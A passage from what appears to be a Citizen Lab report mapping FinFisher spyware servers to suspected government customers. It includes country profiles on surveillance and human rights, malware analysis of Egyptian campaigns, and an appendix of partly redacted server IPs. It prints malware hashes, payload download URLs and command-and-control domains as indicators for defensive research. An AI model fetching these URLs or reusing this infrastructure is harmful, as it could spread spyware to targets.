Security Information Agency, ruling that Articles 13, 14 and 15 of the Law, which govern the wiretapping of private communications, were unconstitutional.33 The court ruled that these Articles were not formulated clearly and precisely enough and that citizens are thus prevented from ascertaining which legal rule will be applied in the given circumstances and are thus deprived of the possibility to protect themselves from inadmissible restrictions of their right or arbitrary interference in their right to respect of their private life and correspondence .34 Further, measures related to the ability of the BIA s Director to authorize wiretapping in some circumstances without a court order were also challenged.35 The court delayed its decision in order to give legislators the opportunity to revise the offending Articles in the Law.36 The amendments to the Law were adopted in June 2014.37 While acknowledged as a positive step, these amendments have been criticized as remaining insufficient to fully democratize surveillance that is carried out by the BIA Leaked emails indicate that members of the Security Information Agency and the Ministry of Defense engaged in purchase negotiations with FinFisher s competitor Hacking Team.39 Egypt Technology Research Department We found a FinFisher server at IP address 62.114.252.xxx. We also found an email in the leaked Hacking Team emails that, according to the headers, was sent from the same IP address.40 The email was sent by Hacking Team employee Davide Romualdi on June 25, 2015, when he was scheduled to be performing delivery41 in Egypt for Hacking Team customer TREVOR, identified as the TRD42 (Technology Research Department).43 Thus, we believe the email was sent from the premises of the TRD, and the IP address 62.114.252.xxx belongs to the TRD. Egypt s troubling human rights situation has continued to deteriorate under President Abdel Fattah al Sisi. In recent years, cases of mass arrests, significant violence against protesters and due process violations have increased.44 Numerous Egyptian security agencies are permitted to conduct electronic surveillance, frequently with limited court oversight. In somes, personal data improperly collected from civil society actors has led to their arrest and imprisonment.45 While there is limited open source information available about the activities of the Technology Research Department, we closely examine a malware campaign linked to TRD infrastructure in Part 3 of this report. 4/10/2016 Mapping FinFisher s Continuing Proliferation Indonesia National Encryption Body (Lembaga Sandi Negara) Two of the FinFisher servers we found in Indonesia were in the same /28. We found an IP address in this same /28 included in the headers of an email sent by a Hacking Team employee46 while he was in Indonesia47 performing a demo for the National Encryption Body. The email was sent at 12:39 PM Jakarta time on February 6, 2013, and a meeting at the agency was set for 10:00 AM on the same day.48 Thus, it seems probable that the email was sent from the premises of the National Encryption Body, and that the two FinFisher servers belong to the same organization. The National Encryption Body is an agency headed by a director, who has the same stature as a minister and reports directly to the President. In a recent interview, the Body s current director, Major General Djoko Setyadi, describes the agency s responsibilities as, among others, securing state secrets and decrypting/decoding communication from would be terrorists.49 The threat of terrorism is a concern for Indonesia. Several bombing incidents have occurred in the country, including two Western hotels in the capital city of Jakarta in 2009. As the world s largest Muslim majority country, the emergence of the Islamic State of Iraq and the Levant (ISIL or ISIS) has also resulted in concerns that their militant ideology will gain ground. It is believed that as many as 200 Indonesian citizens have headed to Syria to fight with ISIS.50 Challenges from restive regions like Papua and Central Sulawesi are also ongoing. There are fears that the fight against these threats may be used as justification to perpetrate human rights abuses, such as to target others for their religious or political beliefs and to kill suspected militants unlawfully. In 2013 Citizen Lab report, we identified at least twelve laws, two government regulations, and two ministerial regulations that govern wiretapping and interception in Indonesia. Although wiretapping and interception are helpful, and sometimes even necessary to expose crimes such as terrorism, drug trafficking and corruption, the lack of comprehensive legislation regulating their use in Indonesia means that there is an increased risk for misuse and privacy violations.51 Kenya National Intelligence Service We found a FinFisher server in a range of IP addresses registered to a Kenyan user named National Security Intelligence. Kenya s National Intelligence Service (NIS) was formerly known as the National Security Intelligence Service (NSIS). Kenya s NSIS replaced the former Directorate of Security Intelligence (DSI), commonly known as the Special Branch .52 The NIS is known as one of Kenya s security institutions with the biggest budgetary allocation along with the Kenya National Defence Forces and the National Police Service and considered to be among the country s critical security organs in the new constitution.53 In 2014, Human Rights Watch named the NIS, as well as the Anti Terrorism Police Unit and other Kenyan intelligence agencies, as being implicated in abuses including torture, disappearances, and extrajudicial killings.54 The powers of the NIS were expanded significantly in December 2014 when the Parliament of Kenya rushed to pass the controversial Security Laws (Amendment) Bill.55 The amendments came following a series of deadly terrorist attacks by the militant group al Shabab, including the 2013 killing of 67 people at the Westgate shopping mall in Nairobi.56 This bill expanded the powers of the NIS to monitor communications without a warrant, as well as expanding their powers to search and seize private property.57 Article 62 of the amended bill authorized NIS agents to do anything necessary to preserve national security and to detain individuals on simply the suspicion of engaging in acts which pose a threat to national security.58 Section 66 of the bill amended the National Intelligence Services Act, permitting the Director General of the NIS to monitor communications or obtain any information, material, record, document or thing in order to protect national security, without court oversight, leading rights organization Article 19 to argue that the amendment effectively [gives] carte blanche to the Director General to order mass surveillance of online communications .59 While a court ruling in February 2015 struck down some provisions of the amendment, the provisions enhancing the powers of the NIS remained.60 Lebanon General Directorate of General Security We found a FinFisher server in a range of IP addresses registered to a Lebanese user named General_Security. 4/10/2016 Mapping FinFisher s Continuing Proliferation assume that General_Security is a reference to the General Directorate of General Security. Lebanon s General Directorate of General Security was established in 1921 under Decree No. 1061.61 The functions of the General Security include collecting and gathering intelligence, monitoring the media, and issuing passports and travel documents to Lebanese citizens.62 The organization is categorized as a general directorate under the supervision of the Ministry of Internal Affairs.63 Although Lebanon has legislation (Law No. 140) which establishes safeguards and oversight protecting electronic communications from unlawful surveillance, there is a systemic practice of this law being ignored.64 Privacy International has criticized the surveillance practices of Lebanon s intelligence agencies, suggesting that the agencies, including the General Directorate of General Security, operate without sufficient independent oversight, and that a lack of trust between different agencies leads the groups to operate their own operations out of view of the Ministry of the Interior.65 Controversies surrounding government surveillance practices have become particularly salient in the wake of several recent high profile assassinations, including the 2005 killing of Prime Minister Rafik Hariri. Organizations investigating the assassinations have had unregulated access to the data of private citizens , including mobile phone records, which raises privacy concerns.66 Internal Security Forces We found a FinFisher server at a Lebanese IP address that was formerly pointed to by what was apparently a mail server with domain [redacted].intelligence.isf.gov.lb in 2012. We assume that the IP still belongs to the Internal Security Forces (ISF). The Internal Security Forces (ISF) are the national police and security force of Lebanon. The ISF s creation was mandated by Decree 138 in 1959.67 Throughout its history, the ISF has had a troubled record of human rights abuses, in spite of recent efforts to promote proper conduct within the organization. In consultation with the UN Human Rights Office, the ISF adopted a January 2012 code of conduct designed to ensure the forces operations guaranteed respect for human rights and public freedoms, including refraining from resorting to torture, cruel, inhumane and degrading treatment .68 However, a number of incidents in recent years have called into questions the effectiveness of this code of conduct. An extensive Human Rights Watch report in 2013 detailed dozens of instances of vulnerable individuals subject to physical abuse, torture and sexual assault at the hands of ISF officials.69 In June 2015, five ISF officers were arrested after videos released on social media showed the officers beating prisoners.70 The ISF and other state agencies have summoned and questioned bloggers, journalists, and activists over social media and blog posts critical of politicians.71 The organization also has a history of overreach in the collection of Lebanese citizens private user data. In 2012, it was reported that the ISF had requested that the Ministry of Telecommunications turn over the content of all SMS text messages sent over a two month span for all users in Lebanon, followed later by a request for Lebanese users login credentials for BlackBerry Messenger and Facebook.72 The request was made following the assassination of the ISF s Information Branch head Wissam al Hassan, and was rejected by the Ministry.73 Morocco Conseil Superieur De La Defense Nationale (CSDN) / Supreme Council of National Defense We found a FinFisher server in a range of IP addresses registered to a Moroccan user named Conseil Superieur De La Defense Nationale. We assume that this is a reference to the eponymous agency. There is limited open source information available about the activities of the CSDN. Leaked Hacking Team emails indicate that the CSDN among other Moroccan Government agencies was a customer of FinFisher s competitor Hacking Team. In 2012, spyware from Hacking Team was used against Mamfakinch, an award winning group of Moroccan citizen journalists.74 Privacy International released a report detailing the impact of surveillance on the group, as well as other political activists and journalists.75 Mongolia State Special Security Department (SSSD) 4/10/2016 Mapping FinFisher s Continuing Proliferation We found a FinFisher server at a Mongolian IP address in the same /28 as an IP address pointed to by the domain td.sssd.mn. We believe that SSSD is a reference to the Mongolian agency of the same name. We also found what appears to be a test or demonstration FinFisher sample, whose bait content includes emails apparently between Gamma Group and Mongolia s SSSD, discussing a visit by Gamma personnel to Mongolia. There is limited open source information available about the SSSD however, leaked emails from the spyware firm Hacking Team indicate that in 2012 the company was in contact with members of the SSSD.76 Additional leaked emails from 2013 indicate that Hacking Team scheduled a product demonstration with the SSSD in April 2013.77 Part 3: A Deeper Analysis of Several Cases The following section provides additional details for several countries Egypt: Use of FinFisher illuminates connections between different groups We noted an interesting connection between Egypt s Technology Research Department (TRD) and two other malware groups in the region: MOLERATS, and an as yet uncharacterized group. We have previously observed both groups targeting UAE based activists. MOLERATS Attacks with FinFisher We found an Egypt FinFisher sample, Egyptian_army.rar, hosted on google.wwwhost.biz. SHA256: 1610fc805f980f5c70cec8e138ba800b01ebc86919f42b375cfb161ce6365a48 Filename: Egyptian_army.rar Extracting the .rar file yields an .exe file. SHA256: 94abf6df38f26530da2864d80e1a0b7cdfce63fd27b142993b89c52b3cee0389 Filename: .exe The name of the .exe file promises pictures of Jordanian Air Force pilot burned alive by ISIS, a popular news story at the time. We suspect that the domain name google.wwwhost.biz is linked to MOLERATS, a threat actor active in the Middle East region that appears to engage in politically motivated targeting. We describe the link below: google.wwwhost.biz had IP address 200.74.241.111 at the same time as info.dynamic dns.net, which also had IP address 192.161.48.59, shared with update.ciscofreak.com, which also had IP address 162.220.246.117. This IP address is linked to several known MOLERATS domains, like natco{1,2,3,4,5}.no ip.net,78 and uae.kim.79 google.wwwhost.biz also hosted two DarkComet samples, which communicated with r.ddns.me, which shared IP address 198.105.125.158 with a.ddns.me, which shared IP address 23.229.3.37 with MOLERATS domain test.cable modem.org.80 google.wwwhost.biz also hosted a GMail phishing page, 64c1ef8e0923bf44aaa96caeb28a6c11, also hosted by googlecombq6xx.ddns.net, which shared IP address 131.72.136.28 with tvnew.otzo.com, which shared IP address 172.227.95.162 with several known MOLERATS domains, like natco{1,2,3,4}.no ip.net,81 and uae.kim.82 google.wwwhost.biz served a Hotmail phishing page, 57ab5f60198d311226cdc246598729ea, also served by google.com.r3irv2ykn0qnd7vr7sqv7kg2qho3ab5tngl5avxi5iimz1jxw9pa9.uae.kim uae.kim is a known MOLERATS domain.83 A significant portion of MOLERATS bait content we have observed indicates targeting of Israel and political Islam groups like Hamas. This MOLERATS activity could be accounted for by any number of intelligence agencies active in the region, or a Palestinian faction, but it is also possible that MOLERATS is a multi faceted group with several interests and/or clients. That MOLERATS apparently used spyware linked to the TRD suggests a possible connection between the TRD and MOLERATS. The Curious Case of the Shared Exploit 4/10/2016 Mapping FinFisher s Continuing Proliferation We identified the following Word document uploaded to VirusTotal: SHA256: 22deea26981bc6183ac3945da8274111e7fd7a35fbb6da601348cc6d66240114 Filename: .doc The document, whose name translates to A Highly Classifed Report downloads a FinFisher sample from http://workingulf.net/DFServ.exe. SHA256: e2ecf89a49c125e0b4292645a41b5e97c0f7bf15d418faeac0d592205f083119 Filename: DFServ.exe The sample communicates with 50.31.252.xxx and 95.170.82.xxx, which are proxies for 62.114.252.xxx, the FinFisher Master we associated with Egypt s TRD. The domain workingulf.net appears to be connected to the TRD, because it is linked to a cluster of other domains, several of which were used to distribute TRD FinFisher samples. We developed a fingerprint for the exploit, based on the presence of a 1.1MB binary embedded in the Word Document. A week later, we identified another instance of this same exploit (the binary was the same). SHA256: d759dcbebee18a65fda434ba1da5d348c16d9d3775fe1652a1dacf983ffc93b8 Filename: .doc This instance downloaded spyware from http://wp.piedslibres.com/wp/wp includes/js/Next.scr, which appeared to be a hacked WordPress site. SHA256: 08b32da8995ae094bfb703d7d975c3816cf04c075c32281e51158164d76cd655 Filename: Next.scr Next.scr is a bespoke malware that exfiltrates system information and files via email. The malware logs into an email account on the C&C server via SMTP, and sends mail to another account on the same server. We have seen C&Cs including: pal4u.net, pal2me.net, and shop8d.net. All of the domains have similar registrant information, indicating the work of a single group. The group appears to be based in Palestine. The use of a shared exploit suggests some link between the TRD and this group. FinFly Web in the Wild We traced workingulf.net, to a number of other domain names, including news youm7.com (see Figure 10 below). 4/10/2016 Mapping FinFisher s Continuing Proliferation Figure 10: Domain names and IP addresses that we believe are associated with Egypt s TRD. We redact only live domains and IP addresses, and show full details for inactive ones. We found a FinFly Web sample at http://videos.news youm7.com/youm7/videos/5671264.html. FinFly Web is a FinFisher product that allows customers to create a website to infect targets with spyware. We identified the sample as FinFly Web given substantial similarity with leaked FinFly Web code.84 4/10/2016 Mapping FinFisher s Continuing Proliferation Figure 11: The FinFly Web page, asking users to install Adobe Reader XI. The download link points to a FinFisher spyware sample. The FinFly Web page appears to have a number of deficiencies. The attacker appears to have copied a page from the website of Egyptian newspaper Youm7, which appears in the background of the Adobe Reader popup. The attacker apparently did not notice that the paths to the CSS resources are relative. Thus, the attack page tries to fetch CSS stylesheets and images from the attack site, rather than the legitimate page. Since the attacker neither copied these resources to the attack site, nor changed the relative paths to point to the legitimate site, the attack page looks malformatted. The attacker made the same mistake with the news ticker IFRAME, resulting in the Not Found message in the background. Also, the attacker entitled the page Video: Islamic State Enters Egypt, but created a popup to install Adobe Reader, which is Adobe s product for viewing PDF files. It is likely that the attacker instead wanted to create a popup to install Adobe Flash, a plugin for viewing web videos. Additionally, the download link points to a .rar file,85 which is suspicious as Adobe does not distribute its products in .rar files. Finally, the .exe inside the .rar file is not melded with the Adobe Reader setup program, so a victim who executes the file may become suspicious when no Adobe setup program runs. Italy: Shift from Hacking Team to FinFisher? We identified one IP address in Italy (2.228.65.xxx) which served as a FinFisher server from 2014 to present. Earlier in 2014, and before our publication of our report on Hacking Team, the same IP address instead matched our fingerprint for Hacking Team spyware servers. This might indicate an Italian government agency switching from Hacking Team to FinFisher. Oman: Eagle Eye Digital Solutions LLC We found a FinFisher server running on IP address 37.139.27.xxx, which is pointed to by two subdomains of to70.org, a domain 4/10/2016 Mapping FinFisher s Continuing Proliferation name associated with an Omani company called Eagle Eye Digital Solutions LLC through historical WHOIS. The domain is currently registered to Omantel, the largest telecom in Oman. Eagle Eye Digital Solutions LLC was founded by, and is run by, Warith Al Maawali.86 Leaked emails describe Warith as part of Oman s Ministry of Interior, as well as a reseller of FinFisher products.87 Other sites apparently run by Eagle Eye include a major Omani online forum, oman0.net. Eagle Eye founder Warith Al Maawali says the forum is one of the most active sites with the largest user base in Oman. An archived version of Eagle Eye s website on the Wayback Machine showed Elaman GmbH as one of their partners, and Security Organizations as their clients. Elaman is known to be a reseller of FinFisher products.88 Figure 12: Old version of Eagle Eye s website showing FinFisher reseller Elaman as a partner, and Security Organizations as among the firm s clients. Conclusion In this report we provided the first update on Citizen Lab s previous FinFisher scanning work since a widely discussed 2014 hack of FinFisher. Despite the disclosure of sensitive customer data in that hack,89 and the potential customer concerns this might cause, our latest scans have detected FinFisher servers in more countries than any previous round of scanning. FinFisher is still being used by a number of previously identified government clients, including Ethiopia, which is the defendant in an ongoing lawsuit over previous FinFisher use.90 We have also identified newly identified suspected customers, including: Angola, Egypt, Gabon, Jordan, Kazakhstan, Kenya, Lebanon, Morocco, Oman, Paraguay, Saudi Arabia, Slovenia, Spain, Taiwan, Turkey, and Venezuela. While we may not be detecting all FinFisher installations, this report s methods improved on both our ability to detect installations, and to attribute FinFisher servers to specific governmental customers, whom we named. A key goal of this research is to provide a resource to those working on policy and research in this space. We also believe this kind of reporting is essential to help ensure that citizens have the opportunity to hold their governments accountable. To this end, we identify government users, but redact certain details about live infrastructure (like removing the last octet of IP addresses), whose disclosure might interfere with legitimately sanctioned activities. The Global Intrusion Software Market: Difficult to Study, Tricky to Regulate The market for intrusion software like FinFisher is challenging to track because the key players, from government customers to 4/10/2016 Mapping FinFisher s Continuing Proliferation software developers, have a strong interest in keeping transactions private. However, several years of research, reporting, and revelations have made it clear that a growing list of countries have acquired, or are seeking these tools. As customer lists grow, so should concern over the documented abuse potential of intrusion software. Some governments clearly believe that it can be used, with proper oversight, in the service of legitimate criminal investigations and intelligence gathering. However, there are also well documented cases in which government customers have abused intrusion software to compromise political opponents within their borders, and overseas. The current market seems to bypass some historic limits on the spread of advanced technical intrusion capabilities. Lack of a strong Science, Technology, Engineering and Mathematics (STEM) education, or absence of long term investment in research and development pipelines, are no longer impediments to obtaining computer exploitation and intrusion capabilities. These tools are now available for purchase by any government. Certainly, lack of development in STEM should not preclude a country from having access to sophisticated investigative tools. Indeed, an under resourced state is likely to face security challenges that are just as serious as a more developed one. However, it can be difficult even for democratic governments with a strong rule of law to oversee secret investigative capabilities like intrusion software. These tools are likely to be acquired and used by divisions that are professionally discreet in their budgeting and information sharing. The information they generate may also have its origins deliberately disguised before being shared with other departments or agencies. Intrusion software presents a challenge for accountability in any country, and the oversight authorities in under resourced countries facing domestic or international security threats may be particularly ill equipped in expertise and political clout, to identify or act on signs of misuse. Previous research has shown that FinFisher has been used to target regime opponents in several cases. Notably, FinFisher has been used to hack Ethiopian and Bahraini democracy activists and opposition political figures. Meanwhile, research and revelations about Hacking Team s Remote Control System (RCS), a competitor product, have also made it clear that some government customers used these tools to target their political opponents, rather than security threats to their citizens. Despite the well documented potential for abuse, the companies who develop and market these capabilities are reluctant and ill equipped to conduct rigorous due diligence about potential customers, as recent revelations about Hacking Team have made clear. The Wassenaar Arrangement, which regulates the export of weapons, as well as dual use technologies, was amended in 2013 to include items related to intrusion software, like FinFisher and Hacking Team s RCS. Now, as participants like the European Union have undertaken their own implementations (or are still developing theirs as in the case of the United States), it remains to be seen whether or not this will lead to greater transparency and control, and what impact, if any, it will have on abusive surveillance. We hope that continued evidence based research of this sort will contribute to greater overall transparency about this market, and provide much needed points of reference for policy making and tracking the impact of regulatory efforts. Acknowledgements Special thanks to Citizen Lab colleagues Morgan Marquis Boire and Claudio Guarnieri, as well as Ron Deibert and Masashi Crete Nishihata. Special thanks to the Open Technology Fund. Thanks to Vern Paxson and Jason Passwaters. Footnotes 1 https://www.finfisher.com/FinFisher/index.html https://bahrainwatch.org/blog/2014/08/07/uk spyware used hack bahrain lawyers activists/ http://www.wired.co.uk/news/archive/2014 02/17/illegal spying ethiopian refugee https://www.eff.org/cases/kidane ethiopia 5 See https://citizenlab.org/2012/07/from bahrain with love finfishers exposed/, https://citizenlab.org/2012/08/the smartphone loved finfisher goes mobile/, https://citizenlab.org/2013/03/you only click twice finfishers global proliferation 2/, https://citizenlab.org/2013/04/for their eyes only 2/, https://community.rapid7.com/community/infosec/blog/2012/08/08/finfisher https://wikileaks.org/spyfiles4/documents/FinSpy 3.10 Specifications.doc 7 Id. https://wikileaks.org/spyfiles/files/0/289_GAMMA 201110 FinSpy.pdf 4/10/2016 Mapping FinFisher s Continuing Proliferation https://zmap.io/ https://community.rapid7.com/community/infosec/blog/2012/08/08/finfisher 12 Google does not return the user s IP address unless a certain type of User Agent header is included. In this example, we include a user agent used by the Tor Browser Bundle. The nord=1 parameter turns off Google s SSL redirection. 13 Yahoo does not return the userLocation object unless a certain type of User Agent header is included. In some cases, we needed to substitute a country specific version of Yahoo in the GET request (either espanol.yahoo.com or maktoob.yahoo.com). 14 We verified that the IP of our measurement machine was included in the Libero cookie when visiting the libero.it site directly. https://github.com/hackedteam/rcs collector/commit/0a92297ff1cb52112be0a6ee6b8d398cf001ed1e https://citizenlab.org/2014/02/mapping hacking teams untraceable spyware/ See our previous fingerprints: https://github.com/citizenlab/spyware scan/blob/master/ff/fingerprint 2.0.txt, https://github.com/citizenlab/spyware scan/blob/master/ff/fingerprint 3.0.txt, https://github.com/citizenlab/spyware scan/blob/master/ff/fingerprint 4.0.txt We assume that if a FinFisher master is located in a country, then an entity of that country s government is using the spyware. It is of course possible that government entities may be operating some surveillance from overseas sites. Though, we view this possibility as quite remote, given concerns about relying on foreign (and potentially untrusted) telecom infrastructure to operate surveillance infrastructure. https://wikileaks.org/spyfiles4/customers.html See for example: http://2014.hack.lu/archive/2014/inside_spying_v1.4.pdf and https://www.usenix.org/system/files/conference/usenixsecurity14/sec14 paper marczak.pdf 21 https://citizenlab.org/2014/02/hacking teams nexus/ 22 https://wikileaks.org/hackingteam/emails/emailid/547657 http://www.dgfi.gov.bd/index.php/about https://www.hrw.org/report/2009/05/18/ignoring executions torture/impunity bangladeshs security forces http://www.state.gov/j/drl/rls/hrrpt/2013humanrightsreport/index.htm?year=2013&dlid=220388 26 https://wikileaks.org/hackingteam/emails/emailid/17309 27 http://www.police.ac.be/menu_58.htm https://twitter.com/wikileaks/status/620025057650319360/photo/1 https://www.shodan.io/host/195.178.51.251 https://wikileaks.org/hackingteam/emails/emailid/765057 31 https://wikileaks.org/hackingteam/emails/emailid/761837 http://www.bia.gov.rs/eng/o agenciji/zakon bia.html http://www.bgcentar.org.rs/bgcentar/eng lat/wp content/uploads/2014/04/Human Rights Serbia 2013.pdf http://www.bgcentar.org.rs/bgcentar/eng lat/wp content/uploads/2014/04/Human Rights Serbia 2013.pdf 35 http://ceas serbia.org/root/images/CEAS_Plan_ _Total_Makeover.pdf 36 http://www.bgcentar.org.rs/bgcentar/eng lat/wp content/uploads/2015/03/Human Rights Serbia 2014.pdf http://www.infobalkans.com/2014/06/25/serbian government adopts amendments http://ceas serbia.org/root/images/CEAS_Analysis_of_the_Law_on_Amendments_of_the_Law_on_the_Security_Intelligence_Agency.pdf http://labs.rs/en/hacking team italian serbian security services/ https://wikileaks.org/hackingteam/emails/emailid/1081335 41 https://wikileaks.org/hackingteam/emails/emailid/1030236 https://wikileaks.org/hackingteam/emails/emailid/14684 https://wikileaks.org/hackingteam/emails/emailid/602607 https://www.hrw.org/world report/2015/country chapters/egypt https://www.privacyinternational.org/sites/default/files/UPR_Egypt.pdf 46 https://wikileaks.org/hackingteam/emails/emailid/565854 https://wikileaks.org/hackingteam/emails/emailid/575806 https://wikileaks.org/hackingteam/emails/emailid/601732 4/10/2016 Mapping FinFisher s Continuing Proliferation 49 http://news.detik.com/wawancara/2212177/lembaga sandi negara tech misterius 50 http://www.theguardian.com/world/2015/mar/11/indonesian jihadis could galvanised return isis fighters analyst https://citizenlab.org/2013/10/igf 2013 exploring communications surveillance indonesia/ https://wikileaks.org/gifiles/docs/51/5109873_ kenya kenyan intelligence service changes name boosts.html http://www.standardmedia.co.ke/article/2000059031/nsis police boost kenya networks? articleID=2000059031&story_title=nsis police boost kenya networks&pageNo=3 54 https://www.hrw.org/world report/2015/country chapters/kenya 55 http://www.bloomberg.com/news/articles/2014 11/kenya debate tough security laws criticized opposition http://www.bbc.com/news/world africa 30592083 https://www.fidh.org/International Federation Human Rights/Africa/kenya/16696 kenya security laws amendment must repealed https://www.hrw.org/news/2014/12/13/kenya security bill tramples basic rights https://www.article19.org/resources.php/resource/37800/en/kenya: concerns with security laws (amendment) bill 60 https://www.article19.org/resources.php/resource/37866/en/kenya: high court ruling security amendment victory free speech 61 http://www.general security.gov.lb/About GS/Historical overview.aspx http://www.general security.gov.lb/About GS/functions.aspx http://www.general security.gov.lb/About GS/sub1.aspx https://www.privacyinternational.org/node/586 65 https://www.privacyinternational.org/sites/default/files/Lebanon_UPR_23rd_session_Joint_Stakeholder_submission_0.pdf 66 https://www.privacyinternational.org/sites/default/files/Lebanon_UPR_23rd_session_Joint_Stakeholder_submission_0.pdf http://www.isf.gov.lb/arabic/download/isf hist en.pdf http://www.ohchr.org/EN/NewsEvents/Pages/ACodeofConducttohelpprotectHRLebanon.aspx https://www.hrw.org/report/2013/06/26/its part job/ill treatment torture vulnerable groups lebanese police stations 70 https://www.hrw.org/news/2015/06/26/lebanon monitor detention combat torture http://www.state.gov/documents/organization/220575.pdf https://www.eff.org/deeplinks/2012/12/lebanese security agency user data request sparks controversy http://www.mpt.gov.lb/index.php/en/about 2/mpt press/118 ministry communications will implement data request touched freedoms lebanese represented assault their privacy http://www.slate.com/blogs/future_tense/2012/08/20/moroccan_website_mamfakinch_targeted_by_government_grade_spyware_from_hacking_team_.html https://privacyinternational.org/?q=node/554 https://wikileaks.org/hackingteam/emails/emailid/594340 77 https://wikileaks.org/hackingteam/emails/emailid/590093 78 http://cyber peace.org/wp content/uploads/2014/01/Cyberattack_against_Israeli_and_Palestinian_targets.pdf https://www.fireeye.com/blog/threat research/2014/06/molerats here spring.html http://cyber peace.org/wp content/uploads/2014/01/Cyberattack_against_Israeli_and_Palestinian_targets.pdf http://cyber peace.org/wp content/uploads/2014/01/Cyberattack_against_Israeli_and_Palestinian_targets.pdf 82 https://www.fireeye.com/blog/threat research/2014/06/molerats here spring.html 83 https://www.fireeye.com/blog/threat research/2014/06/molerats here spring.html https://github.com/FinFisher/FinFly Web/blob/master/static_v2/jack.js http://youm7.news youm7.com/youm7/videos/acrobat reader.rar https://www.linkedin.com/in/warith1977 87 https://wikileaks.org/hackingteam/emails/emailid/601907 https://surveillance.rsf.org/en/gamma international/ https://wikileaks.org/spyfiles4/customers.html https://www.eff.org/cases/kidane ethiopia 4/10/2016 Mapping FinFisher s Continuing Proliferation Appendix A: List of FinFisher Servers Server FinSpy Master IP Master Country Date 41.63.169.xxx 41.63.169.xxx Angola 12/2014 176.67.169.xxx 41.63.169.xxx Angola 12/2014 81.246.44.xxx 81.246.44.xxx Belgium 1/2015 78.46.172.xxx 80.65.75.xxx Bosnia and Herzegovina 12/2014 180.235.133.xxx 80.95.253.xxx Czech Republic 12/2014 50.31.252.xxx 62.114.252.xxx Egypt 12/2014 95.170.82.xxx 62.114.252.xxx Egypt 12/2014 197.156.66.xxx Ethiopia 1/2015 206.190.159.xxx Ethiopia 2/2015 197.231.66.xxx Gabon 12/2014 176.67.169.xxx 118.97.103.xxx Indonesia 12/2014 182.253.201.xxx 182.253.201.xxx Indonesia 12/2014 50.31.240.xxx 112.78.143.xxx Indonesia 12/2014 50.31.255.xxx 103.28.56.xxx Indonesia 12/2014 46.23.72.xxx 118.97.103.xxx Indonesia 12/2014 206.190.159.xxx 103.28.56.xxx Indonesia 12/2014 83.170.112.xxx 118.97.103.xxx Indonesia 12/2014 206.217.196.xxx 202.182.52.xxx Indonesia 12/2014 216.119.149.xxx 118.97.103.xxx Indonesia 12/2014 182.253.201.xxx 182.253.201.xxx Indonesia 12/2014 103.28.57.xxx 103.28.57.xxx Indonesia 12/2014 206.190.159.xxx 112.78.143.xxx Indonesia 2/2015 182.253.201.xxx 182.253.201.xxx Indonesia 3/2015 182.54.232.xxx 180.250.74.xxx Indonesia 3/2015 Italy 12/2014 Italy 12/2014 158.255.208.xxx Jordan 12/2014 109.123.112.xxx Jordan 12/2014 185.19.192.xxx Kazakhstan 1/2015 178.208.76.xxx Kazakhstan 2/2015 Kenya 3/2015 2.228.65.xxx 185.8.106.xxx 46.23.73.xxx 93.146.250.xxx 197.254.122.xxx 4/10/2016 212.98.139.xxx Mapping FinFisher s Continuing Proliferation Lebanon 12/2014 77.42.156.xxx Lebanon 12/2014 77.28.101.xxx Macedonia 12/2014 77.28.102.xxx Macedonia 12/2014 79.125.161.xxx Macedonia 12/2014 Malaysia 12/2014 93.104.212.xxx Malaysia 12/2014 118.101.145.xxx Malaysia 12/2014 110.159.5.xxx Malaysia 12/2014 213.136.89.xxx 212.98.139.xxx 211.25.14.xxx 201.122.183.xxx 201.122.183.xxx Mexico 12/2014 31.192.226.xxx 103.230.82.xxx Mongolia 12/2014 Morocco 12/2014 176.67.169.xxx 176.67.168.xxx 81.192.4.xxx Morocco 12/2014 109.123.86.xxx 81.192.4.xxx Morocco 12/2014 176.67.172.xxx 81.192.4.xxx Morocco 12/2014 176.67.172.xxx 81.192.4.xxx Morocco 12/2014 37.123.115.xxx 41.242.50.xxx Nigeria 12/2014 176.67.172.xxx 204.14.42.xxx Nigeria 2/2015 85.154.222.xxx Oman 12/2014 146.185.163.xxx Oman 5/2015 190.128.172.xxx Paraguay 12/2014 Romania 12/2014 62.149.86.xxx Saudi Arabia 12/2014 77.31.27.xxx Saudi Arabia 1/2015 37.107.117.xxx Saudi Arabia 2/2015 2.90.15.xxx Saudi Arabia 5/2015 2.89.48.xxx Saudi Arabia 5/2015 95.218.27.xxx Saudi Arabia 5/2015 195.178.51.xxx Serbia 12/2014 193.9.21.xxx Slovenia 12/2014 105.224.57.xxx South Africa 2/2015 105.228.145.xxx South Africa 5/2015 158.255.215.xxx 95.76.221.xxx 192.96.200.xxx 79.144.61.xxx Spain 12/2014 41.215.240.xxx 79.144.61.xxx Spain 12/2014 4/10/2016 62.87.109.xxx Mapping FinFisher s Continuing Proliferation Spain 12/2014 209.59.205.xxx 79.144.61.xxx Spain 12/2014 209.59.213.xxx 79.144.61.xxx Spain 12/2014 212.166.246.xxx Spain 12/2014 47.60.110.xxx Spain 2/2015 Spain 2/2015 123.51.216.xxx Taiwan 12/2014 212.156.217.xxx Turkey 5/2015 217.174.229.xxx Turkmenistan 12/2014 217.174.229.xxx Turkmenistan 12/2014 217.174.229.xxx Turkmenistan 12/2014 217.174.226.xxx Turkmenistan 12/2014 185.8.106.xxx Venezuela 12/2014 (Demonstration Server) 12/2014 158.255.212.xxx (Demonstration Server) 12/2014 80.156.28.xxx (Demonstration Server) 12/2014 190.14.38.xxx 151.236.13.xxx 79.144.61.xxx 62.153.225.xxx 151.236.23.xxx 62.153.225.xxx (Demonstration Server) 12/2014 106.186.24.xxx 62.153.225.xxx (Demonstration Server) 12/2014 (Demonstration Server) 5/2015 117.102.124.xxx 37.139.27.xxx 12/2014 151.236.13.xxx 12/2014 46.4.148.xxx 12/2014 185.15.245.xxx 12/2014 37.17.173.xxx 12/2014 95.170.88.xxx 12/2014 89.46.101.xxx 12/2014 194.58.97.xxx 12/2014 116.251.208.xxx 12/2014 212.71.232.xxx 12/2014 209.208.108.xxx 12/2014 198.105.122.xxx 12/2014 162.220.246.xxx 12/2014 188.122.76.xxx 12/2014 89.46.101.xxx 12/2014 4/10/2016 Mapping FinFisher s Continuing Proliferation 190.97.165.xxx 12/2014 116.251.223.xxx 12/2014 192.64.11.xxx 12/2014 182.54.233.xxx 12/2014 103.246.249.xxx 2/2015 117.121.243.xxx 2/2015 192.99.151.xxx 5/2015 162.220.246.xxx 5/2015 173.255.143.xxx 5/2015 179.43.160.xxx 6/2015 198.105.122.xxx 6/2015 50.31.255.xxx 6/2015 175.139.238.xxx 6/2015 131.72.138.xxx 6/2015 185.11.146.xxx 6/2015 105.228.147.xxx 6/2015 Post a Comment Your email is never shared. Required fields are marked * Name * Email * Website Comment Post Comment 